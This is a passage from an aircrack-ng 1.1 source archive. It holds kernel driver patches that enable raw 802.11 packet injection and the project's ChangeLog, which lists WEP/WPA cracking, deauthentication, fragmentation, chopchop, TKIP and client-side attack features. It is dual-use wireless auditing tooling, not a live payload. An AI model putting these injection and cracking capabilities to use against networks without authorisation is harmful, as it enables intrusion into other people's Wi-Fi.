IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) aircrack-ng-1.1/patches/rt73_2.6.27.patch0000644000000000000000000001053511050372022016311 0ustar rootrootdiff -Naur rt73-k2wrlz-3.0.1/Module/rtmp_info.c rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c --- rt73-k2wrlz-3.0.1/Module/rtmp_info.c 2008-07-24 02:05:27.000000000 +0200 +++ rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c 2008-08-12 22:30:20.000000000 +0200 @@ -682,7 +682,11 @@ memcpy(iwe.u.ap_addr.sa_data, &pAdapter->ScanTab.BssEntry[i].Bssid, ETH_ALEN); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#endif if (current_ev == previous_ev) break; @@ -694,7 +698,11 @@ iwe.u.data.flags = 1; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#else current_ev = iwe_stream_add_point(current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#endif if (current_ev == previous_ev) break; @@ -717,7 +725,11 @@ iwe.len = IW_EV_UINT_LEN; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#endif if (current_ev == previous_ev) break; @@ -733,7 +745,11 @@ iwe.u.freq.i = 0; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#endif if (current_ev == previous_ev) break; @@ -747,7 +763,11 @@ iwe.u.data.flags = IW_ENCODE_DISABLED; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#else current_ev = iwe_stream_add_point(current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#endif if (current_ev == previous_ev) break; @@ -762,9 +782,15 @@ { iwe.u.bitrate.value = RateIdToMbps[pAdapter->ScanTab.BssEntry[i].SupRate[i]/2] * 1000000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif } @@ -817,9 +843,15 @@ } iwe.u.bitrate.value = max_rate * 500000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif if((current_val-current_ev)>IW_EV_LCP_LEN) current_ev = current_val; else @@ -833,7 +865,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -844,7 +880,11 @@ set_quality(pAdapter, &iwe.u.qual, pAdapter->ScanTab.BssEntry[i].Rssi); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#endif if (current_ev == previous_ev) break; @@ -859,7 +899,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -5703,7 +5747,7 @@ //UCHAR TmpPhy = pAd->PortCfg.PhyMode; //pAd->PortCfg.PhyMode = 0xff; //RTMPSetPhyMode(pAd, TmpPhy); - + } sprintf(msg+strlen(msg), "\n\nChannel | Tx Power\n-------------------\n"); aircrack-ng-1.1/patches/mac80211_2.6.28-rc4-wl_frag+ack_v2.patch0000644000000000000000000000204511107552102022114 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.1/patches/mac80211_2.6.28-rc4-wl_frag+ack_v3.patch0000644000000000000000000000204711236337777022145 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.1/patches/mac80211_2.6.26-rc8-wl_frag.patch0000644000000000000000000000134311031533734020763 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 345d6ff..20c604d 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -278,6 +278,15 @@ static ieee80211_tx_result ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); + + /* + * don't touch sequence numbers on raw monitor interfaces + */ + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; if (ieee80211_hdrlen(hdr->frame_control) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.1/ChangeLog0000644000000000000000000011706111364647161014023 0ustar rootrootVersion 1.1 (changes from aircrack-ng 1.0) - Released 24 April 2010: * airdrop-ng: New tool by TheX1le. * airodump-ng, aircrack-ng, airdecap-ng, airbase-ng: Fixed buffer overflow in airodump-ng due to forged eapol frame. * aircrack-ng: Fixed multicast detection (WPA handshake detection). * airodump-ng: Added interaction (see wiki for the commands). * airodump-ng: Fixed client time in netxml file. * airtun-ng: Add WDS and bridge support. * airbase-ng: automatically set privacy bit to 1 if WPA or WPA2 is used (-Z or -z option). * airmon-ng: Updated iw URL for v0.9.19. * airdriver-ng: Fixed link for madwifi-ng. * aireplay-ng: Chopchop enhancement to not stop but wait on deauth packets. * tkiptun-ng: Fixed segfault. * wesside-ng: Fixed compilation bug with recent version of gcc. * cygwin: Compiling sqlite isn't necessary anymore, libsqlite3-devel package can be used. * osdep: Strict aliasing and x86_64 fix. * osdep: Add tap support for Darwin/OS X. Still require tuntaposx from sourceforge to work. * All: Fixed compilation on cygwin 1.7. * All: Fixed compilation on recent version of OSX. * manpages: Fixed aireplay-ng manpage for attack 0: not disassociation packets, deauth packets. * manpages: Added the keys for interaction in airodump-ng. * patches: Added regulatory domains override patches for atheros drivers (ath5k, ath9k and ar9170). * patches: Added 2.6.32 patch for r8187 driver (ieee80211). * Makefiles: Fixed make uninstall. Version 1.0 (changes from aircrack-ng 1.0-rc4) - Released 08 September 2009: * airserv-ng: Now works fine between 32 and 64bit OSes. * wesside-ng: Fixed some endianness bugs * airodump-ng-oui-update: Make sure the user is root when updating the file. * airmon-ng: Updated iw download link (0.9.17). * All: Fixed compilation with some gcc. * patches: Added missing patches from patches.aircrack-ng.org: mac80211_2.6.28-rc4-wl_frag+ack_v3.patch * manpage: Updated aireplay-ng manpage. * INSTALLING: Removed (now) useless requirement for OSX installation. * GUI (windows): Fixed 2nd selection of a capture file. Version 1.0-rc4 (changes from aircrack-ng 1.0-rc3) - Released 27 July 2009: * airodump-ng: Decreased time before writing text files to 5 sec (instead of 20). * airodump-ng: New option --output-format option (to replace --nocap): specify output files. * airodump-ng: Fixed encryption tag value in kismet netxml files. * airodump-ng: Sanitize essid before writing it into kismet netxml files. * airodump-ng: Log manufacturer into kismet netxml files. * aireplay-ng: Fake auth: reduce the number of ACKs to 2 per packet. * aireplay-ng: Added possibility to stop sending fake auth requests after n retry failures. * aircrack-ng: Fixed compilation on FreeBSD. * aircrack-ng: Fixed aircrack-ng --help on OSX. * airmon-ng: Updated iw download link (0.9.15). * airmon-ng: Fix chipset detection for iwlagn (show "Intel 4965/5xxx" instead of "Unknown"). * airmon-ng: Display a message when udev rename madwifi-ng VAPs. * airmon-ng: sleep 1s instead of 0.1 (0.1 is not supported by all distro). * airolib-ng: Fixed locked database counter. * airdriver-ng: Updated to rt2570 k2wrlz v1.6.3 * airdriver-ng: Updated r8187 patch. * aircrack-ng, airdecap-ng, ivstools, airodump-ng, airbase-ng, aireplay-ng, airtun-ng, packetforge-ng, tkiptun-ng: Added support for PPI captures support (Thanks to dragorn). * airdecap-ng: Fixed segfault on some capture files. * wesside-ng, easside-ng: "ERROR: Packet length changed while transmitting (XX instead of YY)" should finaly be fixed. * All: Added compatibility file for functions like cpu_to_le32. That should fix compilation on a lot of OSes. * All: Temporary fix to allow compilation with recent gcc (Error message: "dereferencing type-punned pointer will break strict-aliasing rules"). I hope it doesn't break anything. A cleaner fix will be applied later. * INSTALLING: OSX patch for Intel CPU isn't required anymore * INSTALLING: Updated instructions to compile sqlite on cygwin for 3.6.16. * patches: Updated sqlite (v3.6.13) patch for cygwin. * patches: Updated wlanng patch for 2.6.28. * patches: Updated madwifi-ng patch to r4073 * packages: Fixed spec (RPM) file. * GUI (windows): Use last used directory when selecting another file to crack. * GUI (windows): Allow .pcap files too (next to .cap, ...). Version 1.0-rc3 (changes from aircrack-ng 1.0-rc2) - Released 26 March 2009: * airodump-ng: Added Active Scanning Simulation. * airodump-ng: Added support for kismet-newcore netxml files (DTD v3.1.0) * airodump-ng: Changed file extensions for CSV (.csv instead of .txt) and for kismet CSV (.kismet.csv instead of .csv). * airodump-ng: Fixed WPA tag parsing and added QoS detection based on direction. * airodump-ng: Added option to only disable capture file; all other files (CSV, kismet CSV, kismet netxml, GPS) will be created. * aircrack-ng: Fixed -w with WEP. * aircrack-ng: Fixed useless memory allocation. * aircrack-ng: Fixed compilation with gcc 2.95. * aircrack-ng: Fixed compilation on 64 bit (SHA-SSE2). * aircrack-ng: Fixed errors when compiling on OS X 10.5.6 PPC. * aircrack-ng: Added an option to write the key to a file. * airolib-ng: Fixed a bug where database is created even if parameters are not correct. * airmon-ng: Added wifibox to the list of network managers. * airmon-ng: Updated iw download link (0.9.11). * airmon-ng and airdriver-ng: Move them in script/ directory. * airmon-ng: Bypass interface checks when ps command returns an error. Needed for BusyBox limited ps command. * airdriver-ng: Update legacy RT73 driver to use rt73-k2wrlz v3.0.2 * tkiptun-ng: Allow padded arp packets to the client. * airserv-ng & osdep: Fixed compilation on FreeBSD 7.1 * easside-ng & wesside-ng: Fixing again "Error Wrote 39 out of 30" error message. * manpages: Fixed manpages titles. * Makefile: Only compile and install wesside-ng, easside-ng, buddy-ng and tkiptun-ng with "make unstable=true". * patches: Updated sqlite (v3.6.11) patch for cygwin. * patches: Added patch for aircrack-ng on MacOSX * scripts: Added a script to automatically patch and install SQLite in cygwin. Version 1.0-rc2 (changes from aircrack-ng 1.0-rc1) - Released 22 Jan 2009: * aircrack-ng: Added SSE2 supports (WPA cracking speed is improved a lot) thanks to nx5. * aircrack-ng: Fixed detection of the number of CPU (especially with recent CPUs). * aircrack-ng: Fixed long lasting WPA bugs: cannot find the key with SMP computers, wasn't exiting correctly, ... * aircrack-ng: Fixed usage of a dictionnary with WEP. * aircrack-ng: Now only display ASCII WEP keys when 100% of the hex key can be converted to ASCII. * aircrack-ng: You can now specify the number of threads for cracking even if you have a non-SMP computer. * aircrack-ng: Now output an error message if using -r and it wasn't compiled with sqlite support. It was a problem on some ubuntu. * airdecloak-ng: New tool to remove wep cloaked frames from a pcap file. For more details see http://www.aircrack-ng.org/doku.php?id=airdecloak-ng * airodump-ng: Added kismet csv output support. * airodump-ng: Fixed power value display (for ath interface with a high number, more than 99). * airodump-ng: Can work on the new frequencies (allowed by frequency Chaos patch). * airodump-ng: Now display if the network has QoS enabled. * aireplay-ng: Fixed crash with too short packets (seen with zd1211). * aireplay-ng: Fixed STP usage in fragmentation attack. * aireplay-ng: Fixed bug with deauth attack. * airtun-ng: Fixed STP conversion. * airolib-ng: Added sample database in test/ directory. * tkip-tun: New tool to inject on WPA1 with QoS enabled networks. Full description: decrypt packets comming from the AP in a TKIP network, which uses QoS (ieee802.11e). It also breaks the MIC Key for sending packets towards the Client correctly encrypted and signed. Stores plaintext packet and keystream in seperate files. * airbase-ng: Several improvments ( See http://trac.aircrack-ng.org/ticket/466 ). * airbase-ng: Added compatibility with some clients. added random source IPs and MACs for cfrag attack (-N) to evade simple flood protection. * airmon-ng: Fixed some 'unary operator expected' errors. * airmon-ng: Fixed channel number setting with mac80211 drivers. * airmon-ng: Recognition of 4 new chipsets: acx1xx, at76_usb, adm8211 and AR9001U (otus). * airmon-ng: Fixed some chipset naming inconsistencies between ieee80211 and mac80211 drivers. * airmon-ng: Fixed display of "airmon-ng check". * airmon-ng: Improved mac80211 driver handling. * airdriver-ng: Fixed madwifi-ng driver download URL. * airdriver-ng: Updated openSuse information. * wesside-ng: Fixed open() with O_CREAT that needs 3 arguments. * osdep: Added TAP/TUN MTU getter. * manpages: Fixed misspelled airserv-ng manpage filename. * manpages: Added Airbase-ng, Tkiptun-ng manpages. * manpages: Updated description of all manpages. * Makefile: Fixed errors when compiling on OSX 10.5. * Makefile: Now ensure that make 3.81 or higher (mandatory) is used when compiling on OSX 10.4. * Makefile: Only install airolib-ng manpage if airolib-ng is installed. * Makefile: Added 'make check' that tests key cracking against files given in test/ directory. * general: Fixed 'evalrev' on Solaris. * general: Fixed compilation on Sun SPARC. * general: Fixed compilation on some distribution (with a recent version of gcc) due to warnings (because of not getting the return value of some functions). * general: Several compilation fixes. * patches: Updated ath5k patches * patches: Added rt2570 patch (kernel 2.6.24). * patches: Updated madwifi-ng patch for r3745. * patches: Updated mac80211 patches. * patches: Added zd1211rw patch for 2.6.26, b43/b43legacy for 2.6.26-wl. * patches: rt73, r8187 patches for fedora kernels (should work on 2.6.27). * patches: Added Defcon 16 patch (more frequencies than the usuals) for ath5k called frequency Chaos. * patches: Added injection patch for rtl8187 (mac80211). * patches: Added a universal mac80211 fragmentation and injection speed patch. * GUI (windows): Fixed: Windows GUI gives "please specify dictionnary". Version 1.0-rc1 (changes from aircrack-ng 1.0-beta2) - Released 09 Jun 2008: * airbase-ng: Multi-purpose tool aimed at attacking clients as opposed to the AP. * airbase-ng: Added replay tool for external packet processing feature. * aircrack-ng: Fixed: Displaying twice the wep key at the end and "Warning: Previous crack is still running". * aircrack-ng: Fixed detection of WPA handshake (was not working correctly in previous release). * aircrack-ng: Fixed PTW attack against QoS and WDS packets. * aircrack-ng: Added oneshot option to try PTW only once. * airodump-ng: Fixed channel numbers (Fixed "fixed channel" messages). * airodump-ng: Added frequency selection (-C). * aireplay-ng: Fixed injection on OpenBSD. * aireplay-ng: Fixed a rtc bug which freezed aireplay-ng in case /dev/rtc0 is not available. * aireplay-ng: Fixed chopchop attack against QoS packets. * aireplay-ng: Added Caffe-Latte attack. * aireplay-ng: Added CFrag attack: Turns every IP and ARP packet into an ARP request against the client. * airtun-ng: Added support for fragmented packets. * airdriver-ng: Updated drivers. * airserv-ng: Various fixes. * airmon-ng: Added nl80211 usage. * airmon-ng: Use 'iw' when it is found. * airmon-ng: Fixed error with madwifi-ng when creating new VAP. * wesside-ng: Added option to ignore ACKs. * OSdep: Fixed endieanness bugs. * OSdep: Orinoco: attempt to bring interface down before switching to monitor mode. * All: Added copyright and GPL in missing files. * All: Fixed compilation on Mac OSX 10.5.2 (PPC). * GUI: Fixed "Choose" button (airdecap-ng). * Makefile: Fixed usage of iCC versions other than 9.0. * patches: Updated rtl8187 patch. * patches: Updated madwifi-ng patch. * patches: Updated sqlite patch (cygwin). * patches: Added mac80211 frag patch. * patches: Added b43 and updated bcm43xx patches. Version 1.0-beta2 (changes from aircrack-ng 1.0-beta1) - Released 01 Feb 2008: * aircrack-ng: Cracking WPA now does only require 2 packets (instead of 4). * airodump-ng: Fixed (WEP) open system and shared key system detection. * airodump-ng (win): Battery status is now displayed. * airdriver-ng: Fixed module detection. * airdriver-ng: Updated drivers. * airdriver-ng: Added firmware support. * airdriver-ng: Added softmac installation. * airdecap-ng: Save packets with ICV error in a separate file. * airolib-ng: Automatically create a database if it does not exist. "init" option is not necessary anymore. * airolib-ng: Now uses getopts for options. * airdriver-ng: Updated some drivers download locations. * airdriver-ng: Fixed softmac installation * airmon-ng: Added detection of ipwraw-ng driver. * airmon-ng: When stopping an interface, it is in managed mode * Makefile: supports DESTDIR or destdir parameter. * Makefile: renamed ROOT (used by gentoo for other stuff) variable by AC_ROOT. * manpages: Fixes for whatis * patches: updated cygwin sqlite patch * patches: updated rtl8187 patch * Added instructions to compile airolib-ng and using '-r' option in aircrack-ng for cygwin. * Fixed compilation of aircrack-ng with some gcc versions Version 1.0-beta1 (changes from aircrack-ng 0.9.2) - Released 01 October 2007: * airodump-ng: Added --berlin option (see code for more information). * airodump-ng: Fixed 100% cpu utilization while channelhopping on rtap interface * airodump-ng: Fixed frame length < 10bytes bug * airodump-ng: Added out-of-monitor-mode, channel hop and interface down detection * airodump-ng: Fixed debian bug #417388: airodump-ng doesn't restore terminal after error * airodump-ng: Fixed opening the same interface more than once * airodump-ng: Fixed PWR values for some drivers * airodump-ng: Fixed airodump sanity check (resulted in showing WPA networks without CIPHER & AUTH) * airodump-ng: Added "-f" to set the time in ms between hopping channels * airodump-ng: Added partial 40bit WEP detection * airodump-ng: Added "--showack" to print statistics about ack/cts and rts frames * airodump-ng: Added "-h" to hide the known stations in ack statistics * airodump-ng: Added "-r" to read packets from a pcap file * aircrack-ng: Added BSSID merge option * aircrack-ng: Added passive ptw attack (using also IP packets for cracking) * aircrack-ng: Made ptw attack default, for korek attack use -K * aircrack-ng: Fixed huge memory usage with ptw attack on hundreds of APs * aircrack-ng: Added -M paramteter for specifying maximum number of IVs to be read * aircrack-ng: Changed ptw testpackets from first to random (fixes invalidation of found keys) * aircrack-ng: Added --wep-decloak mode * aircrack-ng: Added --ptw-debug to allow klein or ptw disabling * aircrack-ng: PTW: Starts a new process group * aircrack-ng: Increased PTW key checking speed by 20% * aircrack-ng: Try 1000 40bit keys befor starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail * aircrack-ng: Fixed not shown ascii keys, when found key was shorter than expected * aircrack-ng: Added visual inspection of the different keybytes (--visual-inspection). * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * aireplay-ng: Added usage of RTS/CTS, auth and ACK to --test (more stable and faster) * aireplay-ng: Added TCP connection test to --test * aireplay-ng: Changed injection rate to be more stable * aireplay-ng: Made essid argument optional - sniffs the essid if its broadcasted * aireplay-ng: Made src mac argument (-h) optional - uses default interface mac * aireplay-ng: Added bitrate test to --test (-B) * aireplay-ng: Fixed 100% cpu utilization in --test * aireplay-ng: Added --fast switch to use first available packet without interaction * aireplay-ng: chopchop now tries header recreation workaround if icv check failed * aireplay-ng: Fixed seq field for fragment attack * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Added automatic channel changing in --test to AP channel * aireplay-ng: Added channel synchonisation for --test between cards * aireplay-ng: Added possibility to limit injection test to one AP "-a" or "-e" * aireplay-ng: Added BSSID/ESSID detection, so it can be enough to specify one option * makeivs-ng: Added parameters to set length, number and first IV of generated IVs * makeivs-ng: Added possibility to generate IVs sequentially or randomly * makeivs-ng: Added parameters to set percentage of false and dupe frames * makeivs-ng: Added 256bit wep support * packetforge-ng: Added support for generating more than on packet * patches: updated rtl8187 patch for 2.6.22 * patches: updated zd1211rw patch for 2.6.22 * New IVS format for storing all relevant data * Auto-creation of rtap interface if it doesn't exist (ipw2200) * Better acx, rtl8180, orinoco and madwifi-ng detection * Using OpenSSL instead of build-in crypto * Added library rx/tx support * Added airpcap rx/tx support * Added airdriver-ng script for installing and managing patched drivers * Added wesside-ng as an all in one tool for recovering the wep-key * Added easside-ng for realtime decryption (instant rx/tx) of wep frames * Added buddy-ng as loopback server for easside-ng * Added airserv-ng - server for rx/tx on another system * Added airolib-ng for using hash tables to crack wpa/wpa2 psk (supports cowpatty rainbow tables) * Fixed compilation of optimized binaries with icc * Fixed compilation on FreeBSD, NetBSD, OpenBSD and MacOSX * Better WDS handling and display * Added detection and removal of trailing fcs checksum * Fixed several memory leaks * Fixed being root when connecting to airserv-ng * Added OpenBSD sniffing support Version 0.9.3 (changes from aircrack-ng 0.9.2) - Released 24 February 2008: * Fix endianness issues in airodump-ng, aireplay-ng. * Several small bug fixes. * Updated rtl8187 patch. Version 0.9.2 (changes from aircrack-ng 0.9.1) - Released 05 February 2008: * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Fixed compilation on Fedora Rawhide * airodump-ng: Fixed: Wrong information printed in CSV file (PSK for WEP with Shared key instead of SKA). * airodump-ng (airpcap): added support for 5Ghz channels. * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed detection of N770 wireless interface * airmon-ng: Fixed Ralink rt73 detection * airmon-ng: Added driver detection through sysfs * airmon-ng: Added mac80211 support * airmon-ng: Added networkmanager detection - airmon-ng check * airmon-ng: Added detection of ipwraw-ng driver * GUI (win): Fixed file dialog for airdecap-ng * manpages: updated airodump-ng manpage * manpages: Fixes for whatis * Makefiles: Fixed OpenBSD makefile. Version 0.9.1 (changes from aircrack-ng 0.9) - Released 25 June 2007: * airodump-ng: wlan-ng driver now works again. * airodump-ng: Fixed IP address when writing to CSV file * airodump-ng: Fixed debian bug #417388: it doesn't restore terminal after error * aircrack-ng: Fixed WPA cracking on SMP computers * aircrack-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed madwifi-ng wifiX detection (due to translation in ifconfig) * patches: Added ACX injection patch * patches: Updated rtl8187 patch for 2.6.21 * GUI (win): Added PTW option to aircrack-ng tab. * GUI (win): Fixed a bug when cracking with a wordlist. Version 0.9 (changes from aircrack-ng 0.8) - Released 13 May 2007: * aireplay-ng: Added new 'attack': injection test (--test) * aireplay-ng: disallow injection with wlanng & kernel > 2.6.11 * airtun-ng: Fixed: an option wasn't shown in usage screen. * airodump-ng (win): Fixed version numbering. * airodump-ng (win): Changed first time messagebox * aircrack-ng: Fixed: --help make aircrack-ng crash * aircrack-ng: Added PTW attack (option: -z). It require full capture. * airdecap-ng: now decrypt IEEE802.11 header with 802.11e header * airmon-ng: Fixed orinoco card detection * patches: updated zd1211rw patch for kernel 2.6.21 * patches: Added bcm43xx injection patch for kernel 2.6.20 * patches: updated rtl8187 patch (for new driver version). * wzcook (win): now can work in silent mode (option: --silent) * Makefile: added make zip (cygwin only) * Makefile: fixed direct call to 'make install' or 'make strip' instead of 'make' * GUI (win): Updated aircrack-ng tab and added an about tab. Version 0.8 (changes from aircrack-ng 0.7) - Released 25 April 2007: * aireplay-ng: Works on FreeBSD-CURRENT * aircrack-ng: Fixed stdin dictionary usage * aircrack-ng: Hardcode CPUs number to 1 in case detection fails * aircrack-ng: Fixed too low trashvalue * aireplay-ng: Fixed 384 bytes keystream output * aireplay-ng: Fixed IV index bug * aireplay-ng: Better error messages for -0 and -1 * airtun-ng: Works on FreeBSD * airtun-ng: Fix compilation under FC6 (missing "linux/if.h" include). * airodump-ng: Works on FreeBSD. * airodump-ng: Added encryption filtering * airodump-ng: Fixed a SIGSEGV * airodump-ng: Added WPA handshake detection * airodump-ng: Added non associated stations filter * airodump-ng: Added support for zd1211rw * airodump-ng: Fixed 100% cpu utilisation * airmon-ng: Added support for zd1211rw driver * airmon-ng: Added support for at76c503a, rt61 and rt73 * airmon-ng: Updated some device detection * airmon-ng: Added Nokia 770 and PrismGT softmac * airmon-ng: Fixed ACX driver monitor mode startup * airmon-ng: Fixed syntax error * airtun-ng: Works on FreeBSD * airtun-ng: Added pcap support to replay saved wlan sessions * airtun-ng: Added repeater mode, bssid and netmask filter * packetforge-ng: Added null packet support * packetforge-ng: Added packet selection for -9 * Patches: Added hostap kernel 2.6.18 patch * Patches: Updated rtl8187 patch. * Patches: Updated madwifi-ng patch. * Patches: Added injection patch for zd1211 (does not work for all devices). * Added airoscript (from daouid) * Makefiles: Fixed: make uninstall did not remove all files * Updated spec file by David Bolt to be able to build RPM packages on FC, Mandriva and Suse distro * Added WEP authentication example capture * Fixed gcc 2.95 compilation * Fixed compilation on MacIntel Version 0.7 (changes from aircrack-ng 0.6.2) - Released 20 January 2007: * Makefiles: Improved + added makefiles for other OS * Makefiles: Fixed make install on Windows and MacOS * airtun-ng: Creates a tuntap interface, through which ordinary IP frames can be injected * aireplay-ng: Added fragmentation attack * aireplay-ng: Added shared key authentication * airmon-ng: Now detect the shell when installing * airmon-ng: Added support for rtl8187 * aircrack-ng: Added WEP dictionnary attack * aircrack-ng: Works with 802.11e QoS packets * airodump-ng: Added MAC filtering * airodump-ng: Now use the flaw in shared-key authentication to generate a xor file containing the prga recovered from a shared-key authentication * airodump-ng: More information about encryption on the AP * airodump-ng: Receive quality indicator * airodump-ng: The way ESSID is given in the CSV file is more clear * packetforge-ng: Set the TTL value in the ip header * packetforge-ng: Close open file handles * Special handling of spanning tree packets * Added rtl8187 patch for injection * Other bug fixes Version 0.6.2 (changes from aircrack-ng 0.6.1) - Released 1 October 2006: * aireplay-ng: Applied patch to inject packets with an ipw2200 * aircrack-ng: Fixed: show_wpa_stats() 1 byte array overflow * aircrack-ng: Fixed a warning when compiling on 64bit inner_bruteforcer_thread() * aircrack-ng: Changed -d option. It's now a mask (use XX for unknown bytes). * arpforge-ng: removed. It's replaced by packetforge-ng * packetforge-ng: New tool to forge packets (by Martin Beck) + manpage written * aircrack-ng, aireplay-ng, packetforge-ng: new MAC decoding function * airmon-ng: Fixed a bug when using it with madwifi-ng * airmon-ng: Added ipw3945 detection * airodump-ng (windows): now automatically download peek.dll and peek5.sys if needed * airodump-ng: LLC null packets are skipped * makeivs: added manpage * Makefile: Fixed: make aircrack-ng-opt-prof_gen fails * updated madwifi-ng patch Version 0.6.1 (changes from aircrack-ng 0.6) - Released 27 August 2006: * aircrack-ng: Fixed missing '-s' option * aircrack-ng: Fixed: Show a different ASCII key for a same hex key * airodump-ng: Using --band option instead of --bg, --abg, --ab, ... * airodump-ng: Fixed: fails to put wlanng in monitor mode * airodump-ng: using rtap0 as interface should now work * airodump-ng and aireplay-ng: "Can't find wireless tools, exiting." should be fixed if they exist * airodump-ng and airmon-ng: rt2570 now uses prismheader (use at least beta 2 driver) * airmon-ng: Fixed: discards ipw2200 v1.1.x * airmon-ng: Fixed: show newly created madwifi-ng VAP * airmon-ng: Should now works with 'ash' shell (Zaurus, OpenWRT, ...) * INSTALL: Added a note about warnings when compiling sources * INSTALL: Added more informations about installing aircrack-ng on windows * updated spec file * some other bugfixes * cygwin1.dll and msvcr70.dll are now included in windows package Version 0.6 (changes from aircrack-ng 0.5) - Released 23 June 2006: * aircrack-ng: Multithreaded keybytes bruteforcer * aircrack-ng: Now bruteforce only last keybyte by default (faster than last 2KB) * aircrack-ng: Added option to show ASCII version of the key * aircrack-ng: Fixed: bug with -d option. It adds a leading "0x00" to the key * aireplay-ng: fixed compilaton issues on some distro * aireplay-ng: fixed a bug when using 'ash' * aireplay-ng: You can change ring 